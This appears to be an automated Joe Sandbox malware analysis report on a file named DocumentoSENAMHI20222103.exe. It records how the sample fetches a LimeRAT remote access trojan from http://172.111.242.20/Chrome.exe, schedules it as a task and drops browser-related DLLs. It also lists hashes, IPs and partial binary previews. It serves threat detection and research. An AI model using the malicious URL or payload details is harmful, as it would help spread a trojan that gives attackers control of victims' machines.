DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81032367685.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://172.111.242.20/Chrome.exelrDocumentoSENAMHI20222103.exe, 00000001.00000003.80684835019.00000000011DA000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83502455517.00000000011DA000.00000004.00000020.00020000.00000000.sdmptrue
                              • Avira URL Cloud: malware
                              		unknown
                              http://crl.rootca1.amazontrust.com/rootca1.crl0DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://crl.pki.goog/gtsr1/gtsr1.crl0WDocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://172.111.242.20/Chrome.exenDocumentoSENAMHI20222103.exe, 00000001.00000003.80684835019.00000000011DA000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83502024723.00000000011B2000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83502455517.00000000011DA000.00000004.00000020.00020000.00000000.sdmptrue
                              • Avira URL Cloud: malware
                              		unknown
                              http://ocsp.rootca1.amazontrust.com0:DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              https://github.com/syohex/java-simple-mine-sweeperC:DocumentoSENAMHI20222103.exe, 00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                https://pki.goog/repository/0DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namewtqsCpda..exe, 0000000F.00000002.80316124713.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83503822976.0000000002C01000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://pki.goog/repo/certs/gtsr1.der04DocumentoSENAMHI20222103.exe, 00000001.00000002.83523648265.0000000006D97000.00000004.00001000.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown

                                  World Map of Contacted IPs

                                  • No. of IPs < 25%
                                  • 25% < No. of IPs < 50%
                                  • 50% < No. of IPs < 75%
                                  • 75% < No. of IPs

                                  Public IPs

                                  IPDomainCountryFlagASNASN NameMalicious
                                  172.111.242.20
                                  		unknownUnited States
                                  		9009M247GBtrue
                                  104.23.98.190
                                  		pastebin.comUnited States
                                  		13335CLOUDFLARENETUSfalse

                                  General Information

                                  Joe Sandbox Version:34.0.0 Boulder Opal
                                  Analysis ID:593268
                                  Start date and time:2022-03-21 13:40:33 +01:00
                                  Joe Sandbox Product:CloudBasic
                                  Overall analysis duration:0h 17m 21s
                                  Hypervisor based Inspection enabled:false
                                  Report type:light
                                  Sample file name:DocumentoSENAMHI20222103.exe
                                  Cookbook file name:default.jbs
                                  Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
                                  Run name:Suspected Instruction Hammering
                                  Number of analysed new started processes analysed:21
                                  Number of new started drivers analysed:0
                                  Number of existing processes analysed:0
                                  Number of existing drivers analysed:0
                                  Number of injected processes analysed:0
                                  Technologies:
                                  • HCA enabled
                                  • EGA enabled
                                  • HDC enabled
                                  • AMSI enabled
                                  Analysis Mode:default
                                  Analysis stop reason:Timeout
                                  Detection:MAL
                                  Classification:mal100.troj.expl.evad.winEXE@10/16@1/2
                                  EGA Information:
                                  • Successful, ratio: 80%
                                  HDC Information:Failed
                                  HCA Information:
                                  • Successful, ratio: 100%
                                  • Number of executed functions: 0
                                  • Number of non-executed functions: 0
                                  Cookbook Comments:
                                  • Adjust boot time
                                  • Enable AMSI
                                  • Found application associated with file extension: .exe

                                  Warnings

                                  • Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
                                  • TCP Packets have been reduced to 100
                                  • Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
                                  • Excluded domains from analysis (whitelisted): wdcpalt.microsoft.com, client.wns.windows.com, ctldl.windowsupdate.com, wdcp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
                                  • Execution Graph export aborted for target chrome.exe, PID 6672 because it is empty
                                  • Not all processes where analyzed, report is missing behavior information
                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                  • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                  • Report size getting too big, too many NtCreateThreadEx calls found.
                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                  • Report size getting too big, too many NtReadVirtualMemory calls found.
                                  • Report size getting too big, too many NtResumeThread calls found.
                                  • Report size getting too big, too many NtTerminateThread calls found.

                                  Simulations

                                  Behavior and APIs

                                  TimeTypeDescription
                                  14:44:44API Interceptor3343x Sleep call for process: cmd.exe modified
                                  14:45:09Task SchedulerRun new task: LimeRAT-Admin path: "C:\Users\user\AppData\Local\Temp\chrome.exe"
                                  14:45:56API Interceptor4x Sleep call for process: chrome.exe modified

                                  Joe Sandbox View / Context

                                  IPs

                                  ⊘No context

                                  Domains

                                  ⊘No context

                                  ASNs

                                  ⊘No context

                                  JA3 Fingerprints

                                  ⊘No context

                                  Dropped Files

                                  ⊘No context

                                  Created / dropped Files

                                  C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\chrome.exe.log

                                  Download File
                                  Process:C:\Users\user\AppData\Local\Temp\chrome.exe
                                  File Type:ASCII text, with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):540
                                  Entropy (8bit):5.340189734206673
                                  Encrypted:false
                                  SSDEEP:12:Q3La/hz92n4M9tDLI4MWuPuuWzAbDLI4MN58HF/zav:MLU84qpE4KGNsXE4fl/4
                                  MD5:9FE65642E50453BE936A61BDB771D427
                                  SHA1:81881116AD640C9D636EC6C963C7BBFE41EF8971
                                  SHA-256:7F9A773F27CDD40D13425EA47E521E1180A04F3F40FD5DAF3B0EA0798A234EC5
                                  SHA-512:CEA29CF76FFB91C929D83C63C7B3616B24B8E519428441B05DA8AEC9E937738AC041EE679C34230369B18C1F0FF6E8381CDD5B2C53434FFE6B0B78135A3F5662
                                  Malicious:false
                                  Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\68e52ded8d0e73920808d8880ed14efd\System.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\ccd32e22ed1b362ccbd4b6fe2cda6d0b\System.Management.ni.dll",0..

                                  C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\wtqsCpda..exe.log

                                  Download File
                                  Process:C:\Users\user\AppData\Roaming\wtqsCpda..exe
                                  File Type:ASCII text, with CRLF line terminators
                                  Category:dropped
                                  Size (bytes):834
                                  Entropy (8bit):5.347790748399153
                                  Encrypted:false
                                  SSDEEP:24:MLU84qpE4KGNsXE4fl/kE4KnKDE4KhKzKhk:Mgv2HKGYHfNkHKnYHKhSok
                                  MD5:0C9D5A73767CBB8502A51F59380EE680
                                  SHA1:D96EC44FD8B92C107F89F6093F3B2B28F9A59888
                                  SHA-256:6C90CCD55387C51C9B510AE2D76596D88F4570D4A046C516A29A535D950AB840
                                  SHA-512:FCA74EA2E933DB639CE7B4177559E18623A1FC481792DA2B8B6A3A73BA9A213ABBE182889618C00243CD7B5AF3FFDD9F9B3CE334F72048680EB35BF4D850FF9B
                                  Malicious:false
                                  Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\68e52ded8d0e73920808d8880ed14efd\System.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\ccd32e22ed1b362ccbd4b6fe2cda6d0b\System.Management.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\62fe5fc1b5bafb28a19a2754318abf00\System.Core.ni.dll",0..

                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe

                                  Download File
                                  Process:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                  Category:dropped
                                  Size (bytes):29184
                                  Entropy (8bit):5.951469681811296
                                  Encrypted:false
                                  SSDEEP:384:cB+Sbj6NKom4r+65xAH6kgvqDc0gpEkvDKNrCeJE3WNgP0bVjeNwsN4jhxUQro3C:6pomn65xw6p0gpEK45N62YNw44VxWij
                                  MD5:3D7801D573CAB12F3093C219EBFE495C
                                  SHA1:E1AD7BE4BA84E44E4EE4339232B984D29C1328D1
                                  SHA-256:21B86512DE83574C3AD44210D025E93FB28D205CFBD18825DA0A64A52063B627
                                  SHA-512:844418BEE9DFC603211E2B7E989879B97523ADC18630F0EA1B8D93377B3D5FD867A19FFD0AF0AC3867D35FC5C8231A1ABBBF11F24F8784AB6349AFD27AC30CC5
                                  Malicious:true
                                  Yara Hits:
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe, Author: Joe Security
                                  • Rule: MALWARE_Win_LimeRAT, Description: LimeRAT payload, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe, Author: ditekSHen
                                  Antivirus:
                                  • Antivirus: Avira, Detection: 100%
                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                  • Antivirus: ReversingLabs, Detection: 93%
                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... .)b.................n..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tm... ...n.................. ..`.reloc...............p..............@..B........................................................P.......H.......`G...E......V.....................................................(....*..(....*.s.........s.........s.........s.........*.~....o....*.~....o....*.~....o....*.~....o....*6..(....(....*..(....*......(....*..(....*.0................-.(...+.+....*".......*..(....*r~.........-.(...+.....~....*...0..........(....-W(....o....o....r...p(....o....-7r...p(....-+(....-$( ...-.r...p(!...r-..p("...(#...-..ArI..p($...((...r...p(%...r...p(&......('...&((.....%()....(*.....*........

                                  C:\Users\user\AppData\Local\Temp\IconLib.dll

                                  Download File
                                  Process:C:\Users\user\AppData\Local\Temp\chrome.exe
                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                  Category:dropped
                                  Size (bytes):60928
                                  Entropy (8bit):5.6690883286891545
                                  Encrypted:false
                                  SSDEEP:768:WhZeVOIr9zmWGODfqED8zOJI+IpXgJKCAyEpd+rnwTIQJAqLiA4B0FdIOFMBC3Wd:EP1m3KpOKSEp1TzCaFiPBhlg36eiikN
                                  MD5:45ECAF5E82DA876240F9BE946923406C
                                  SHA1:0E79BFE8ECC9B0A22430D1C13C423FBF0AC2A61D
                                  SHA-256:087A0C5F789E964A2FBCB781015D3FC9D1757358BC63BB4E0B863B4DFFDB6E4F
                                  SHA-512:6FD4A25051414B2D70569A82DFF5522606BFC34D3EAEEA54D2D924BC9C92E479C7FDA178208026308A1BF9C90BEE9DBCAF8716D85C2AB7F383B43B0734329BC8
                                  Malicious:true
                                  Antivirus:
                                  • Antivirus: Metadefender, Detection: 31%, Browse
                                  • Antivirus: ReversingLabs, Detection: 23%
                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......W...........!..................... ... ....... .......................`............@.................................<...O.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................p.......H...........s..........................................................*.(.......*R.s....s....(.......*.0..<.........}......}.....(...............-.r...ps....z..}......}.....*.0...........(...... ...._ ..........-.rC..ps....z.o.....o.....s......s....}......... ........ .....s.. .....|8...... ....s......o......o .....o!......... .......(".........o!......... .... .... .... ....("........+2.{........o.....+ .{..... .....o.....+.r...ps....z(..........o.....o....s#.....o$...o%..

                                  C:\Users\user\AppData\Local\Temp\chrome.exe

                                  Download File
                                  Process:C:\Users\user\AppData\Roaming\wtqsCpda..exe
                                  File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                  Category:dropped
                                  Size (bytes):29184
                                  Entropy (8bit):5.951469681811296
                                  Encrypted:false
                                  SSDEEP:384:cB+Sbj6NKom4r+65xAH6kgvqDc0gpEkvDKNrCeJE3WNgP0bVjeNwsN4jhxUQro3C:6pomn65xw6p0gpEK45N62YNw44VxWij
                                  MD5:3D7801D573CAB12F3093C219EBFE495C
                                  SHA1:E1AD7BE4BA84E44E4EE4339232B984D29C1328D1
                                  SHA-256:21B86512DE83574C3AD44210D025E93FB28D205CFBD18825DA0A64A52063B627
                                  SHA-512:844418BEE9DFC603211E2B7E989879B97523ADC18630F0EA1B8D93377B3D5FD867A19FFD0AF0AC3867D35FC5C8231A1ABBBF11F24F8784AB6349AFD27AC30CC5
                                  Malicious:true
                                  Yara Hits:
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: C:\Users\user\AppData\Local\Temp\chrome.exe, Author: Joe Security
                                  • Rule: MALWARE_Win_LimeRAT, Description: LimeRAT payload, Source: C:\Users\user\AppData\Local\Temp\chrome.exe, Author: ditekSHen
                                  Antivirus:
                                  • Antivirus: Avira, Detection: 100%
                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                  • Antivirus: ReversingLabs, Detection: 93%
                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... .)b.................n..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tm... ...n.................. ..`.reloc...............p..............@..B........................................................P.......H.......`G...E......V.....................................................(....*..(....*.s.........s.........s.........s.........*.~....o....*.~....o....*.~....o....*.~....o....*6..(....(....*..(....*......(....*..(....*.0................-.(...+.+....*".......*..(....*r~.........-.(...+.....~....*...0..........(....-W(....o....o....r...p(....o....-7r...p(....-+(....-$( ...-.r...p(!...r-..p("...(#...-..ArI..p($...((...r...p(%...r...p(&......('...&((.....%()....(*.....*........

                                  C:\Users\user\AppData\Local\Temp\freebl3.dll

                                  Download File
                                  Process:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                  Category:dropped
                                  Size (bytes):334288
                                  Entropy (8bit):6.806904510927404
                                  Encrypted:false
                                  SSDEEP:6144:u8YBC2NpfYjGg7t5xb7WOBOLFwh8yGHrIrvqqDL6XPbjm:ubG7F35BVh8yIZqn6vm
                                  MD5:EF12AB9D0B231B8F898067B2114B1BC0
                                  SHA1:6D90F27B2105945F9BB77039E8B892070A5F9442
                                  SHA-256:2B00FC4F541AC10C94E3556FF28E30A801811C36422546A546A445ACA3F410F7
                                  SHA-512:2AA62BFBA556AD8F042942DD25AA071FF6677C257904377C1EC956FD9E862ABCBF379E0CFD8C630C303A32ECE75618C24E3EEF58BDDB705C427985B944689193
                                  Malicious:false
                                  Antivirus:
                                  • Antivirus: Metadefender, Detection: 0%, Browse
                                  • Antivirus: ReversingLabs, Detection: 0%
                                  Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L...BW.[.........."!.........f......)........................................p......3R....@.........................p...P............@..x....................P......0...T...............................@...............8............................text...t........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

                                  C:\Users\user\AppData\Local\Temp\mozglue.dll

                                  Download File
                                  Process:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                  Category:dropped
                                  Size (bytes):137168
                                  Entropy (8bit):6.782906762178928
                                  Encrypted:false
                                  SSDEEP:3072:4kdWyaKm15vd/q/Py9UbfkVgxp1qt/t3PvT4UD2JJJvPBrSezRy:Fdtm15vtSfkVgxp12/t3PLxD2JJJvPQZ
                                  MD5:75F8CC548CABF0CC800C25047E4D3124
                                  SHA1:602676768F9FAECD35B48C38A0632781DFBDE10C
                                  SHA-256:FB419A60305F17359E2AC0510233EE80E845885EEE60607715C67DD88E501EF0
                                  SHA-512:ED831C9C769AEF3BE253C52542CF032AFA0A8FA5FE25CA704DB65EE6883C608220DF7102AC2B99EE9C2E599A0F5DB99FD86894A4B169E68440EB1B0D0012672F
                                  Malicious:false
                                  Antivirus:
                                  • Antivirus: Metadefender, Detection: 0%, Browse
                                  • Antivirus: ReversingLabs, Detection: 0%
                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L....T.[.........."!.....z...................................................@............@A........................ ...t.......,.... ..x....................0..h......T...................4.......H...@...................L........................text....x.......z.................. ..`.rdata..>e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..h....0......................@..B........................................................................................................................................................................................................................................

                                  C:\Users\user\AppData\Local\Temp\msvcp140.dll

                                  Download File
                                  Process:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                  Category:dropped
                                  Size (bytes):440120
                                  Entropy (8bit):6.652844702578311
                                  Encrypted:false
                                  SSDEEP:12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
                                  MD5:109F0F02FD37C84BFC7508D4227D7ED5
                                  SHA1:EF7420141BB15AC334D3964082361A460BFDB975
                                  SHA-256:334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
                                  SHA-512:46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
                                  Malicious:false
                                  Antivirus:
                                  • Antivirus: Metadefender, Detection: 0%, Browse
                                  • Antivirus: ReversingLabs, Detection: 0%
                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

                                  C:\Users\user\AppData\Local\Temp\nss3.dll

                                  Download File
                                  Process:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                  Category:dropped
                                  Size (bytes):1246160
                                  Entropy (8bit):6.76559888004065
                                  Encrypted:false
                                  SSDEEP:24576:Ab5zzlswYNYLVJAwfpeYQ1Dw/fEE8DhSJVIVfRyAkgO6S/V/jbHpls4MSRpMxkxo:+zW5ygDwnEZIYkjgWjblMSRpMqm
                                  MD5:D7858E8449004E21B01D468E9FD04B82
                                  SHA1:9524352071EDE21C167E7E4F106E9526DC23EF4E
                                  SHA-256:78758BF7F3B3B5E3477E38354ACD32D787BC1286C8BD9B873471B9C195E638DB
                                  SHA-512:1E2C981E6C0CA36C60C6E9CAE9548B866D5C524DF837095B30D618D9C322DEF7134C20DE820105400DD1B58076B66D90274F67773AC6BA914F611B419BABB440
                                  Malicious:false
                                  Antivirus:
                                  • Antivirus: Metadefender, Detection: 0%, Browse
                                  • Antivirus: ReversingLabs, Detection: 3%
                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.4.g.Z.g.Z.g.Z.n...s.Z..[.e.Z..B..c.Z..Y.j.Z.._.m.Z..^.l.Z.E.[.o.Z..[.d.Z.g.[..Z..^.m.Z..Z.f.Z....f.Z..X.f.Z.Richg.Z.................PE..L...#W.[.........."!................w........................................@...........@..................................=..T.......p........................}..p...T..............................@............................................text............................... ..`.rdata...R.......T..................@..@.data...tG...`..."...B..............@....rsrc...p............d..............@..@.reloc...}.......~...h..............@..B........................................................................................................................................................................................................................................................................................

                                  C:\Users\user\AppData\Local\Temp\softokn3.dll

                                  Download File
                                  Process:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                  Category:dropped
                                  Size (bytes):144848
                                  Entropy (8bit):6.539673483315818
                                  Encrypted:false
                                  SSDEEP:3072:0Af6suip+d7FEk/oJz69sFaXeu9CoT2nIVFetBWPqeFYMMa:J6PbsF4CoT2OeN43Ma
                                  MD5:471C983513694AC3002590345F2BE0DA
                                  SHA1:6612B9AF4FF6830FA9B7D4193078434EF72F775B
                                  SHA-256:BB3FF746471116C6AD0339FA0522AA2A44A787E33A29C7B27649A054ECD4D00F
                                  SHA-512:A9B0FB923BC3B567E933DE10B141A3E9213640E3D790B4C4D753CF220D55593AE8026102909969BA6BFC22DA3B2FCD01E30A9F5A74BD14A0FDEC9BEAF0FB1410
                                  Malicious:false
                                  Antivirus:
                                  • Antivirus: Metadefender, Detection: 0%, Browse
                                  • Antivirus: ReversingLabs, Detection: 0%
                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L...+W.[.........."!.........b...............................................P............@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

                                  C:\Users\user\AppData\Local\Temp\vcruntime140.dll

                                  Download File
                                  Process:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                  Category:dropped
                                  Size (bytes):83784
                                  Entropy (8bit):6.890347360270656
                                  Encrypted:false
                                  SSDEEP:1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
                                  MD5:7587BF9CB4147022CD5681B015183046
                                  SHA1:F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
                                  SHA-256:C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
                                  SHA-512:0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
                                  Malicious:false
                                  Antivirus:
                                  • Antivirus: Metadefender, Detection: 0%, Browse
                                  • Antivirus: ReversingLabs, Detection: 0%
                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

                                  C:\Users\user\AppData\Roaming\EGyCDiG.tmp

                                  Download File
                                  Process:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                  Category:dropped
                                  Size (bytes):31120
                                  Entropy (8bit):5.364337769056878
                                  Encrypted:false
                                  SSDEEP:384:LZiIuERzA83h09RZxGgEQd/IyihUW3l38yLgncYrPZYHgs:8IuERzA83h09RZxVdN/s38yL+V0
                                  MD5:B99DAAD25177AB9BA376160A2E47D8AF
                                  SHA1:17EB84C40474B95EED9F724D3384588D0DF07D73
                                  SHA-256:D330594D6AD57183F4FE42D59A139C0516629EE27EF0B1012231564660A4187C
                                  SHA-512:7A7B0CFBC101F9196379CFD0841E9281A372737D2DA369DE231763A0C8E2E55F781E2DA776803679CCFFF009ED41D8FC1A988824BCFB4AD642798B885D9980A2
                                  Malicious:false
                                  Preview:{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

                                  C:\Users\user\AppData\Roaming\G.yeqff.tmp

                                  Download File
                                  Process:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  File Type:SQLite 3.x database, last written using SQLite version 3036000
                                  Category:dropped
                                  Size (bytes):45056
                                  Entropy (8bit):0.7853305971874845
                                  Encrypted:false
                                  SSDEEP:48:43b/DVIIgyZKLk8s8LKvUf9K4UKTgyJqhtcebVEq8Ma0D0HOlcjlGxdKmtAONu41:Sb+uKLyeym/grcebn8MouOjlGxdKmt3N
                                  MD5:00C036C61F625BF9D25362B9BE24ADEB
                                  SHA1:6738C3D037E4A2E9F41B1398BA88E5771532F593
                                  SHA-256:0C187B091E99E5BB665C59F8F8E027D5658904B32E4196D2EB402F3B1CAD69EF
                                  SHA-512:711265BC8C1653BF6E862343BF3149A2AB09F4BA7D38E2D8A437001DB6C0F1936F6362571DD577CD7BDBEEC766DF141CB7E0681512C12E25A99CDB71731232D1
                                  Malicious:false
                                  Preview:SQLite format 3......@ ..........................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                  C:\Users\user\AppData\Roaming\tbvIBlF.tmp

                                  Download File
                                  Process:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  File Type:ASCII text, with very long lines, with no line terminators
                                  Category:dropped
                                  Size (bytes):107327
                                  Entropy (8bit):6.072662776306198
                                  Encrypted:false
                                  SSDEEP:3072:TP4c1bwI28KFb70xHPvRMnjgxOR5bEkkVbWiKaG:D4Ez2z7sRMjgo5SVb/8
                                  MD5:648A9762131071FD5DEC551A1FBC5DF3
                                  SHA1:27DC4E5024812CFE8B4542F30082AF439EC3CFC0
